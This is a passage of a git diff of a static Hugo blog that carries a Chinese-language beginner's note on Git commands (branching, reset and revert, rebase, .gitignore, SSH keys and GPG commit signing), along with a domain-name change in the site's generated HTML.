href=https://xiaochenabc123.github.io//posts/Git%e7%89%88%e6%9c%ac%e7%ae%a1%e7%90%86%e7%b3%bb%e7%bb%9f%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>git安装</p><p>Windows和mac</p><p>到git官网下载对应的安装文件，进行安装，下一步</p><p>Linux</p><p>sudo apt install git-all
+git reset &ndash;hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Git版本管理系统学习笔记","item":"https://chenjunlinabc.github.io/posts/30/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Git版本管理系统学习笔记","name":"Git版本管理系统学习笔记","description":"git安装\nWindows和mac\n到git官网下载对应的安装文件，进行安装，下一步\nLinux\nsudo apt install git-all 或者 sudo dnf install git-all\n也可以用源代码编译（Git是开源的，是Linux之父的作品） https://github.com/git/git/releases\n方便git管理，记录每一个修改了Git仓库的人，设置用户名和邮箱\ngit config \u0026ndash;global user.name \u0026ldquo;chenjunlin\u0026rdquo; git config \u0026ndash;global user.email \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo;\nssh-keygen -t rsa -C \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo; # 生成ssh密钥\nmkdir learngit #创建一个空目录\ncd learngit # cd到目录\npwd #显示当前目录路径\ngit init #将当前的目录变成git管理仓库\nls -ah #将所有目录（包括隐藏目录）显示出来\ngit add 文件名 #将文件添加到仓库中\ngit commit -m 说明 #告诉git这次添加到仓库的说明，可以是任意内容\ngit status #返回仓库的当前状态\ngit diff 文件名 #查看当前文件的内容\ngit log #查看历史记录，加上\u0026ndash;pretty=oneline 查看commit id（版本号）\ngit reset \u0026ndash;hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本","keywords":["Git"],"articleBody":"git安装\nWindows和mac\n到git官网下载对应的安装文件，进行安装，下一步\nLinux\nsudo apt install git-all 或者 sudo dnf install git-all\n也可以用源代码编译（Git是开源的，是Linux之父的作品） https://github.com/git/git/releases\n方便git管理，记录每一个修改了Git仓库的人，设置用户名和邮箱\ngit config –global user.name “chenjunlin” git config –global user.email “a@xiaochenabc123.test.com”\nssh-keygen -t rsa -C “a@xiaochenabc123.test.com” # 生成ssh密钥\nmkdir learngit #创建一个空目录\ncd learngit # cd到目录\npwd #显示当前目录路径\ngit init #将当前的目录变成git管理仓库\nls -ah #将所有目录（包括隐藏目录）显示出来\ngit add 文件名 #将文件添加到仓库中\ngit commit -m 说明 #告诉git这次添加到仓库的说明，可以是任意内容\ngit status #返回仓库的当前状态\ngit diff 文件名 #查看当前文件的内容\ngit log #查看历史记录，加上–pretty=oneline 查看commit id（版本号）\ngit reset –hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本\ngit reset –hard commit id #回到“未来”的版本，版本号可以不用写全，git会自动搜索，过版本号长度要尽量的长，防止可能出现搜索到多个版本的情况\ngit reflog #查看命令历史，也被用于找回commit id\ngit reflog show和git log -g –abbrev-commit –pretty=oneline效果是一样的\ngit add 实际上是把要提交文件存在暂存区，git commi 是一次性把暂存区的文件提交到分支，每一次git commi都要小心！！！\ngit checkout – 文件名 #把该文件从工作区的修改全部撤销掉（修改后还没有git add放在暂存区或者已经提交到暂存区后又修改了使用这个就回到提交到暂存区后的状态）\ngit reset HEAD 文件名 #将暂存区的修改撤销掉，重新放回工作区\ngit rm 文件名 #把该文件从版本库中删除\nssh-keygen -t rsa -C “邮箱” #创建SSH Key,在用户主目录，查看.ssh目录，再查看该目录 有没有id_rsa和id_rsa.pub文件，没有就执行该命令，id_rsa是私钥，id_rsa.pub是公钥，在github的Key文本框添加上id_rsa.pub文字的内容\ngit remote add origin git@github.com: github的账户名/仓库名.git #关联github仓库\ngit push -u 远程仓库名 本地分支名 # 把本地分支推送到远程库上 -u是第一次添加要使用，本地的分支和远程的分支关联起来，关联了后，第2次推送就不用加了\ngit remote add 远程库名 远程库的git链接#本地和远程库关联起来\ngit clone git@git库地址 #克隆远程库到本地\ngit checkout -b 分支名 #创建dev分支并切换到该分支，也可以使用下面方法\ngit branch 分支名 #创建分支\ngit checkout 分支名 #切换到该分支\ngit branch #查看当前分支，会输出全部分支，在当前分支前加*\ngit checkout 分支名 #切换回指定分支\ngit merge 分支名 #可以把指定分支合并到当前分支\ngit branch -d 分支名 #删除该分支\ngit status #查看冲突的文件\n«««\u003c和=======和»»»\u003e表示不同分支的内容，修改冲突就是把不同分支提交的内容修改为一样的\n一般都是先克隆主分支上的最新文件，然后在最新文件上进行操作，然后提交，避免分支冲突\ngit log #查看分支的合并图，可以在后面加上–graph\n合并分支时，git可能会使用fast forward模式，在这种模式下删除分支会丢掉分支信息，在合并时候使用git merge –no-ff 分支名 表示禁用fast forward，可以加上-m参数，把commit说明加上，使用fast forward模式是看不出来做出过合并的\ngit stash #把还没有提交的工作现场存起来，可以重新恢复工作现场\ngit stash list #查看已经存起来的工作现场\ngit stash apply #恢复工作现场，但是不会删除stash的内容，需要使用git stash drop来删除\ngit stash pop #恢复工作现场并删除stash的内容\ngit stash apply stash@{指定} #可以指定恢复的stash\ngit branch -D 分支名#强制删除分支，在没有被合并的情况时\ngit remote #查看关联的远程库信息，或者加-v 查看更详细的信息，没有推送权限就没有push地址\ngit push 远程库名 分支名 #把该分支推送到远程库对应的分支上\ngit checkout -b 分支名 远程库名/分支名 #默认只有主分支，要使用其他分支上工作就使用这个\ngit branch –set-upstream-to=远程库名/分支名 分支名 #指定本地分支与远程分支的链接\ngit pull #把最新的提交抓下来\ngit rebase #把本地未push的分叉提交历史衍合成基线，使用该命令会导致本地的分叉提交被修改\ngit tag 标签名 #给对应的分支打上标签，git tag查看所有标签\ngit tag -a 标签名 -m “说明” 版本号\ngit tag 标签名 版本号 #标签链接版本号\ngit show 标签名 #查看标签信息\ngit tag -d 标签名 #删除指定的标签\ngit push 远程库名 标签名 #推送该标签到远程库上，或者–tags 一次性推送全部没有推送到远程库的本地标签\n删除远程库的标签先删除本地标签，然后使用 git push 远程库名：refs/tags/标签名\ngit remote rm 远程库名 #删除已有的远程库\ngit stash # 暂存修改，将改变暂时存起来\ngit stash list #查看在 stash 中的缓存 然后恢复工作现场\n合并冲突\n合并冲突是因为不同的分支，修改了同一份文件，而git不知道以谁为准，因此提示合并冲突，只需要修改这个冲突文件，修改为某个分支的修改，执行git status查看冲突的文件，再合并就好了\ngit status #查看冲突的文件\ngit log #查看分支的合并图\ngit log –graph –pretty=oneline –abbrev-commit #简化信息\n修改冲突的文件的内容，改成一样的\ngit merge –abort # 退出合并，当合并冲突发生时，但是有不想修改冲突，而是想取消合并时，指向该命令，git会尝试恢复到执行合并前的状态\n版本冲突\n版本冲突就是当前版本不是最新的，git不知道以哪个版本为准，因此提示版本冲突，只需要git pull获取最新版本，就可以避免这个问题，如果已经发生版本冲突了，那么执行git status查看冲突文件，不管是分支冲突还是版本冲突，其修改都不会丢失，而是保存在这个冲突文件中，只需要手动修改成自己想要的就好了，一般来说上面是本地的，下面是最新的\n版本控制\n获取git仓库\n将本地目录转换为git仓库（初始化仓库）\n克隆已存在的git仓库到本地\ngit的三种状态\n已修改，已暂存，已提交\ngit正常的工作流程：\n工作区修改文件 -\u003e 要提交的文件暂存 -\u003e 提交更新（永久性存储到git仓库）\n工作区 -\u003e 暂存区 -\u003e git仓库\n初始化仓库\ngit init // 初始化当前目录为git仓库，初始化会创建.git的隐藏目录，.git目录包含初始的必要文件\n工作区中的文件的4种状态\n未追踪（untracked）：没有被git管理的文件，git之前的提交中没有该文件\n未修改（unmodified）：工作区内容和git仓库中文件的内容保持一致\n已修改（modified）：工作区内容和git仓库中文件的内容不一致\n已暂存（staged）：工作区已被修改文件被放到暂存区，准备提交到git仓库中\n检查文件的状态\ngit status\n以精简的方式显示文件状态\n未跟踪文件前面会有??标记\n已跟踪文件前面会有A标记\ngit status -s\ngit status –short\n跟踪新文件或者将已跟踪，已修改的文件存放在暂存区，将有冲突的文件标记为已解决冲突\ngit add 文件名或者目录名\n暂存多个文件\ngit add .\n提交更新（将暂存区提交到git仓库）\ngit commit -m 本次提交的描述\n撤销对文件的修改（恢复到git仓库中的版本）\ngit checkout – 要撤销的文件名\n取消已暂存的文件（移除在暂存区的指定文件）\ngit reset HEAD 要移除的文件名\n跳过暂存区\n工作区 -\u003e git仓库\n会将全部已经被跟踪的文件暂存起来一并提交\ngit commit -a -m 本次提交的描述\n移除文件\ngit仓库和工作区移除文件\ngit rm -r 要移除的文件名\ngit仓库移除文件，工作区保留\ngit rm –cached 要移除的文件名\n忽略文件\n将一些文件不纳入git管理\n.gitignore配置文件\n以*开头的表示忽略，例如：*.java，表示忽略所有.java文件\n以#开头是注释\n以/结尾的是目录，忽略任何目录下的指定的文件夹，例如：hallo/\n以/开头的是防止递归，只忽略当前目录的指定文件，例如：/hallo.java\n以!开头的是表示取反，哪怕忽略了java，就是匹配所有指定的文件，例如：!hallo.java\n使用glob模式进行匹配（glob是简化的正则表达式）\nglob模式\n*匹配0个或者多个\n[abc]匹配任何一个在括号里的字符\n?只匹配一个任意字符\n[0-9]：匹配所有0到9的数字\na/**/c：可以匹配任意中间目录，例如a/b/c\n例如：\nhallo/*.java // 忽略hallo目录下的全部java文件\nhallo/**/*.java // 忽略hallo目录以及全部子目录下的全部java文件\n查看提交历史\n按时间来排序全部提交历史，最近的提交在上面\ngit log\n只查看最新的指定条数的提交历史\ngit log 6\n在一行上查看指定条数的提交历史\ngit log 6 –pretty=oneline\n在一行上查看指定条数的提交历史，并且按照输出格式来输出\ngit log –pretty=oneline: “%h | %an | %ar | %s”\n%h为提交的简写哈希值\n%an为作者名字\n%ar为作者修订日期\n%s为提交说明\n回退指定版本\ngit reset –hard 版本id\n旧版本返回新版本（获取新版本的id）\ngit reflog –pretty=oneline\ngithub\n远程仓库访问：https和ssh\nhttps：必须要输入账号和密码\nssh：需要配置，配置成功，不需要输入账号和密码\n将本地仓库上传到远程仓库\n本地有仓库：\n本地仓库和远程仓库进行关联 git remote add origin 远程仓库地址\n推送本地仓库内容 git push -u origin master\n如果本地没有仓库，先建立仓库，再关联，推送\ngit init -\u003e git add -\u003e git commit\n如果已经关联过，推送过，可以直接git push推送\nssh key\n生成ssh key\nssh-keygen -t rsa -b 4096 -C “a@xiaochenabc123.test.com”\n如果是windows，会在C:\\Users\\用户名文件夹.ssh下\nid_rsa：私钥\nid_rsa.pub：公钥\n私钥可以通过计算推出公钥，公钥推不出私钥，因此密钥安全性很高，通过配置公钥到github中，本地的私钥可以确保，是本人在提交推送\n检测是否配置ssh key成功\nssh -T git@github.com\nhttps远程仓库\nhttps://github.com/xxx/xxx.git\nssh远程仓库\ngit@github.com:xxx/xxx.git\n简单来说就是公钥设置在github\ngit clone 远程库\n再修改文件\ngit add . // 提交文件到暂存区\ngit commit -m “xxx” // 提交更新\ngit push -u -f origin master // 推送到远程仓库，-f是强制推送（团队仓库别使用-f，个人无所谓）\n注意：git对文件名大小写默认不敏感，因此修改hallo.py和Hallo.py是不认为被修改，在提交时没有记录，如果想开启大小写敏感可以找到项目的.git文件夹（隐藏文件，需显示）,找到config文件，修改ignorecase为false，或者直接用git config core.ignorecase false命令一键修改\ngit回滚\ngit reset HEAD^ // 回到add暂存区时（未commit）\ngit reset –hard HEAD^ // 回滚到上个版本，HEAD是当前版本的指向\ngit reset –hard commitId // 回到指定版本，commitId使用git log查看（commit那一行的id）\n注意：reset回退会删除之前版本的（例如原版本在第3次修改，回到第2版本，会将第3版本的修改删除（这个删除不是指实质删除，而是工作区的代码回到之前的版本了，在第2版本上，没第3版本了））\n如果这是某个修改有错误，要回退时，但是又想保留之前版本的工作时就可以使用git revert -n commitId\n这种需求常见于多人协同开发，当别人已经push提交，如果再使用reset回退的话，就会影响到别人的提交，因为版本冲突了，revert实质上就是恢复到某个版本，但是之前的版本不会被删除，而且是在当前最新版本的基础上创建了一个新的版本，当然在git上没有是绝对的删除，只要有commitId在就可以恢复\n在git2.23版本中添加了git switch命令，该命令专门用来切换分支，功能和git checkout一致\ngit switch 分支名 // 切换到指定分支\ngit switch -c 分支名 // 创建该分支并且切换到该分支，和git checkout -b功能一致\n解决分支无法合并\n导致原因：不同的分支都有自己的新提交，git不知道以谁的为准\n解决方法：手动解决，通过git status命令查看冲突的文件\ngit commit –amend // 对最近提交的message进行修改\ngit rebase -i commit的id // 修改指定提交的message，这里应该使用reword或者r，退出该文件后，git会弹出修改commit描述的文件\ngit rebase -i中有6种命令，分别是pick，reword，edit，squash，fixup，exec\npick：提交，可通过排序来变更提交的顺序，如果不想要该次直接删除整行\nreword：和pick类似，但是它可以给你修改commit的message的机会\nedit：提供机会来修改提交\nsquash：将多个或者两个提交合并成一个提交，压缩到其上方的提交，并且给机会来编写这次提交的message\nfixup：和squash类似，不过合并的过程中，被合并的提交的message将丢失，压缩到其上方的提交，但是只保留较早的提交的message\nexec：对提交执行shell命令\n解决分支冲突的其他解决方案（本地分支与远程仓库分支合并，本地分支作为指定远程仓库分支的未来分支提交）\n将远程分支拉取至本地 git fetch 远程仓库地址 分支名\n查看远程分支 git branch -r\n查看全部分支 git branch -a\n将远程仓库分支与本地当前分支合并 git merge 远程仓库地址/分支名\n将远程仓库分支的修改与本地当前分支合并（rebase可以将其他分支的提交作为当前分支的时间线的开头，也就是当前分支作为新的未来提交分支了） git rebase 远程仓库地址/分支名\nGPG签名（通过签名来确定提交者身份，git默认的用户及邮箱可以伪造，不安全）\n查看git是否包含GPG命令（windows要在Git Bash 运行）\ngpg –version\n创建GPG keys\ngpg –full-generate-key\n第一个是选择加密算法，选择1就好，然后就是选择key的长度（选择4096），再然后就是选择密令的有效期（根据自己选择来，不想过期就选择0），然后名称，邮箱，最后选择o设置私钥密码就创建完成\n查看生成的公钥\ngpg –list-keys\n查看私钥\ngpg –list-secret-keys\n关联GPG公钥到Github\ngpg –armor –export 密钥ID\n对commit签名\ngit config –global user.signingkey 密钥ID\n开启git自动签名（也可以在git commit的时候使用-s参数）\ngit config –global commit.gpgsign true\n查看git仓库签名信息\ngit log –show-signature\n解决github网页签名问题\n导入github签名\ncurl https://github.com/web-flow.gpg | gpg –import\n信任签名并且用自己的密钥进行签名验证\ngpg –sign-key github的key\n","wordCount":"679","inLanguage":"en","datePublished":"2021-06-16T14:51:00Z","dateModified":"2021-06-16T14:51:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/30/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Git版本管理系统学习笔记</h1><div class=post-meta><span title='2021-06-16 14:51:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Git%e7%89%88%e6%9c%ac%e7%ae%a1%e7%90%86%e7%b3%bb%e7%bb%9f%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>git安装</p><p>Windows和mac</p><p>到git官网下载对应的安装文件，进行安装，下一步</p><p>Linux</p><p>sudo apt install git-all
 或者
 sudo dnf install git-all</p><p>也可以用源代码编译（Git是开源的，是Linux之父的作品）
 <a href=https://github.com/git/git/releases>https://github.com/git/git/releases</a></p><p>方便git管理，记录每一个修改了Git仓库的人，设置用户名和邮箱</p><p>git config &ndash;global user.name &ldquo;chenjunlin&rdquo;
@@ -68,8 +68,8 @@
 git branch -r</p><p>查看全部分支
 git branch -a</p><p>将远程仓库分支与本地当前分支合并
 git merge 远程仓库地址/分支名</p><p>将远程仓库分支的修改与本地当前分支合并（rebase可以将其他分支的提交作为当前分支的时间线的开头，也就是当前分支作为新的未来提交分支了）
-git rebase 远程仓库地址/分支名</p><hr><p>GPG签名（通过签名来确定提交者身份，git默认的用户及邮箱可以伪造，不安全）</p><p>查看git是否包含GPG命令（windows要在Git Bash 运行）</p><p>gpg &ndash;version</p><p>创建GPG keys</p><p>gpg &ndash;full-generate-key</p><p>第一个是选择加密算法，选择1就好，然后就是选择key的长度（选择4096），再然后就是选择密令的有效期（根据自己选择来，不想过期就选择0），然后名称，邮箱，最后选择o设置私钥密码就创建完成</p><p>查看生成的公钥</p><p>gpg &ndash;list-keys</p><p>查看私钥</p><p>gpg &ndash;list-secret-keys</p><p>关联GPG公钥到Github</p><p>gpg &ndash;armor &ndash;export 密钥ID</p><p>对commit签名</p><p>git config &ndash;global user.signingkey 密钥ID</p><p>开启git自动签名（也可以在git commit的时候使用-s参数）</p><p>git config &ndash;global commit.gpgsign true</p><p>查看git仓库签名信息</p><p>git log &ndash;show-signature</p><p>解决github网页签名问题</p><p>导入github签名</p><p>curl <a href=https://github.com/web-flow.gpg>https://github.com/web-flow.gpg</a> | gpg &ndash;import</p><p>信任签名并且用自己的密钥进行签名验证</p><p>gpg &ndash;sign-key github的key</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/git/>Git</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/31/><span class=title>« Prev</span><br><span>node.js包管理工具npm的简单使用</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/29/><span class=title>Next »</span><br><span>配置树莓派笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+git rebase 远程仓库地址/分支名</p><hr><p>GPG签名（通过签名来确定提交者身份，git默认的用户及邮箱可以伪造，不安全）</p><p>查看git是否包含GPG命令（windows要在Git Bash 运行）</p><p>gpg &ndash;version</p><p>创建GPG keys</p><p>gpg &ndash;full-generate-key</p><p>第一个是选择加密算法，选择1就好，然后就是选择key的长度（选择4096），再然后就是选择密令的有效期（根据自己选择来，不想过期就选择0），然后名称，邮箱，最后选择o设置私钥密码就创建完成</p><p>查看生成的公钥</p><p>gpg &ndash;list-keys</p><p>查看私钥</p><p>gpg &ndash;list-secret-keys</p><p>关联GPG公钥到Github</p><p>gpg &ndash;armor &ndash;export 密钥ID</p><p>对commit签名</p><p>git config &ndash;global user.signingkey 密钥ID</p><p>开启git自动签名（也可以在git commit的时候使用-s参数）</p><p>git config &ndash;global commit.gpgsign true</p><p>查看git仓库签名信息</p><p>git log &ndash;show-signature</p><p>解决github网页签名问题</p><p>导入github签名</p><p>curl <a href=https://github.com/web-flow.gpg>https://github.com/web-flow.gpg</a> | gpg &ndash;import</p><p>信任签名并且用自己的密钥进行签名验证</p><p>gpg &ndash;sign-key github的key</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/git/>Git</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/31/><span class=title>« Prev</span><br><span>node.js包管理工具npm的简单使用</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/29/><span class=title>Next »</span><br><span>配置树莓派笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/31/index.html b/posts/31/index.html
index c6e8e44a..bb9f3693 100644
--- a/posts/31/index.html
+++ b/posts/31/index.html
@@ -1,14 +1,14 @@
 <!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>node.js包管理工具npm的简单使用 | 小陈的个人博客</title><meta name=keywords content="node.js,npm"><meta name=description content="npm是Node.js的默认包管理工具
 安装npm：安装node.js(一般来说安装nodejs都会安装npm的)
 npm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install &ndash;dependencies 只安装package.json里的dependencies的文件 npm install &ndash;devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹
-升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/31/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="node.js包管理工具npm的简单使用"><meta property="og:description" content="npm是Node.js的默认包管理工具
+升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/31/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 